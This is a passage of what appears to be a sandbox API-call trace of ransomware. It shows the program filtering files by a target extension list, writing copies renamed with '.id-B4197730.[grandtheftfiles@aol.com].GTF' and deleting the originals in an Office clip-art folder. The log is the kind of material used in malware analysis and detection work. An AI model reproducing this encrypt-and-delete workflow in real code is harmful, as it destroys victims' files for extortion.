	[0087.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0087.618] lstrlenW (lpString=".dbf") returned 4
	[0087.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0087.618] lstrlenW (lpString=".1cd") returned 4
	[0087.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0087.618] lstrlenW (lpString=".jpg") returned 4
	[0087.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.619] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.619] lstrlenW (lpString="FD00586_.WMF") returned 12
	[0087.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.619] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=752) returned 1
	[0087.619] CloseHandle (hObject=0x378) returned 1
	[0087.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220
	[0087.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.620] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.620] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0087.620] GetLastError () returned 0x0
	[0087.620] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x2f0, lpOverlapped=0x0) returned 1
	[0087.623] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x300, lpOverlapped=0x0) returned 1
	[0087.624] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.624] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.624] SetEndOfFile (hFile=0x35c) returned 1
	[0087.624] CloseHandle (hObject=0x35c) returned 1
	[0087.624] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.624] SetEndOfFile (hFile=0x378) returned 1
	[0087.625] CloseHandle (hObject=0x378) returned 1
	[0087.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0087.626] lstrlenW (lpString=".doc") returned 4
	[0087.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString=".docx") returned 5
	[0087.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.626] lstrlenW (lpString=".pdf") returned 4
	[0087.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString=".xls") returned 4
	[0087.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.626] lstrlenW (lpString=".xlsx") returned 5
	[0087.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.626] lstrlenW (lpString=".ppt") returned 4
	[0087.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0087.626] lstrlenW (lpString=".zip") returned 4
	[0087.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.626] lstrlenW (lpString=".rar") returned 4
	[0087.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString=".bz2") returned 4
	[0087.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString=".7z") returned 3
	[0087.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0087.626] lstrlenW (lpString=".dbf") returned 4
	[0087.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0087.626] lstrlenW (lpString=".1cd") returned 4
	[0087.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0087.626] lstrlenW (lpString=".jpg") returned 4
	[0087.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0087.626] lstrlenW (lpString=".doc") returned 4
	[0087.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString=".docx") returned 5
	[0087.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.627] lstrlenW (lpString=".pdf") returned 4
	[0087.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString=".xls") returned 4
	[0087.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.627] lstrlenW (lpString=".xlsx") returned 5
	[0087.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.627] lstrlenW (lpString=".ppt") returned 4
	[0087.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0087.627] lstrlenW (lpString=".zip") returned 4
	[0087.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.627] lstrlenW (lpString=".rar") returned 4
	[0087.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString=".bz2") returned 4
	[0087.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString=".7z") returned 3
	[0087.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0087.627] lstrlenW (lpString=".dbf") returned 4
	[0087.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0087.627] lstrlenW (lpString=".1cd") returned 4
	[0087.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0087.627] lstrlenW (lpString=".jpg") returned 4
	[0087.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.627] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.627] lstrlenW (lpString="FD00775_.WMF") returned 12
	[0087.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.628] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=11152) returned 1
	[0087.628] CloseHandle (hObject=0x378) returned 1
	[0087.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220
	[0087.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.628] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.628] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0087.629] GetLastError () returned 0x0
	[0087.629] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x2b90, lpOverlapped=0x0) returned 1
	[0087.630] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0087.631] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.631] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.632] SetEndOfFile (hFile=0x35c) returned 1
	[0087.632] CloseHandle (hObject=0x35c) returned 1
	[0087.632] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.632] SetEndOfFile (hFile=0x378) returned 1
	[0087.633] CloseHandle (hObject=0x378) returned 1
	[0087.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1
	[0087.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0087.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0087.633] lstrlenW (lpString=".doc") returned 4
	[0087.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.633] lstrlenW (lpString=".docx") returned 5
	[0087.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.633] lstrlenW (lpString=".pdf") returned 4
	[0087.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.633] lstrlenW (lpString=".xls") returned 4
	[0087.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.633] lstrlenW (lpString=".xlsx") returned 5
	[0087.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.633] lstrlenW (lpString=".ppt") returned 4
	[0087.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0087.633] lstrlenW (lpString=".zip") returned 4
	[0087.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.633] lstrlenW (lpString=".rar") returned 4
	[0087.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.634] lstrlenW (lpString=".bz2") returned 4
	[0087.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.634] lstrlenW (lpString=".7z") returned 3
	[0087.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0087.634] lstrlenW (lpString=".dbf") returned 4
	[0087.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0087.634] lstrlenW (lpString=".1cd") returned 4
	[0087.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0087.634] lstrlenW (lpString=".jpg") returned 4
	[0087.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0087.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0087.634] lstrlenW (lpString=".doc") returned 4
	[0087.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.634] lstrlenW (lpString=".docx") returned 5
	[0087.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.634] lstrlenW (lpString=".pdf") returned 4
	[0087.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.634] lstrlenW (lpString=".xls") returned 4
	[0087.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.634] lstrlenW (lpString=".xlsx") returned 5
	[0087.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.634] lstrlenW (lpString=".ppt") returned 4
	[0087.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0087.634] lstrlenW (lpString=".zip") returned 4
	[0087.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.634] lstrlenW (lpString=".rar") returned 4
	[0087.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.634] lstrlenW (lpString=".bz2") returned 4
	[0087.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.634] lstrlenW (lpString=".7z") returned 3
	[0087.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0087.635] lstrlenW (lpString=".dbf") returned 4
	[0087.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0087.635] lstrlenW (lpString=".1cd") returned 4
	[0087.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0087.635] lstrlenW (lpString=".jpg") returned 4
	[0087.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.635] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.635] lstrlenW (lpString="FD00779_.WMF") returned 12
	[0087.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.635] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=9010) returned 1
	[0087.635] CloseHandle (hObject=0x378) returned 1
	[0087.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220
	[0087.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.636] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.636] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0087.636] GetLastError () returned 0x0
	[0087.636] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x2332, lpOverlapped=0x0) returned 1
	[0087.638] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x2340, lpOverlapped=0x0) returned 1
	[0087.639] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.639] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.640] SetEndOfFile (hFile=0x35c) returned 1
	[0087.640] CloseHandle (hObject=0x35c) returned 1
	[0087.640] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.640] SetEndOfFile (hFile=0x378) returned 1
	[0087.641] CloseHandle (hObject=0x378) returned 1
	[0087.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1
	[0087.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0087.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0087.641] lstrlenW (lpString=".doc") returned 4
	[0087.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.641] lstrlenW (lpString=".docx") returned 5
	[0087.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.641] lstrlenW (lpString=".pdf") returned 4
	[0087.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.641] lstrlenW (lpString=".xls") returned 4
	[0087.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.642] lstrlenW (lpString=".xlsx") returned 5
	[0087.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.642] lstrlenW (lpString=".ppt") returned 4
	[0087.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0087.642] lstrlenW (lpString=".zip") returned 4
	[0087.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.642] lstrlenW (lpString=".rar") returned 4
	[0087.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.642] lstrlenW (lpString=".bz2") returned 4
	[0087.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.642] lstrlenW (lpString=".7z") returned 3
	[0087.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0087.642] lstrlenW (lpString=".dbf") returned 4
	[0087.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0087.642] lstrlenW (lpString=".1cd") returned 4
	[0087.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0087.642] lstrlenW (lpString=".jpg") returned 4
	[0087.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0087.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0087.642] lstrlenW (lpString=".doc") returned 4
	[0087.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.642] lstrlenW (lpString=".docx") returned 5
	[0087.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.642] lstrlenW (lpString=".pdf") returned 4
	[0087.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.642] lstrlenW (lpString=".xls") returned 4
	[0087.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.642] lstrlenW (lpString=".xlsx") returned 5
	[0087.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.642] lstrlenW (lpString=".ppt") returned 4
	[0087.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0087.643] lstrlenW (lpString=".zip") returned 4
	[0087.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.643] lstrlenW (lpString=".rar") returned 4
	[0087.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.643] lstrlenW (lpString=".bz2") returned 4
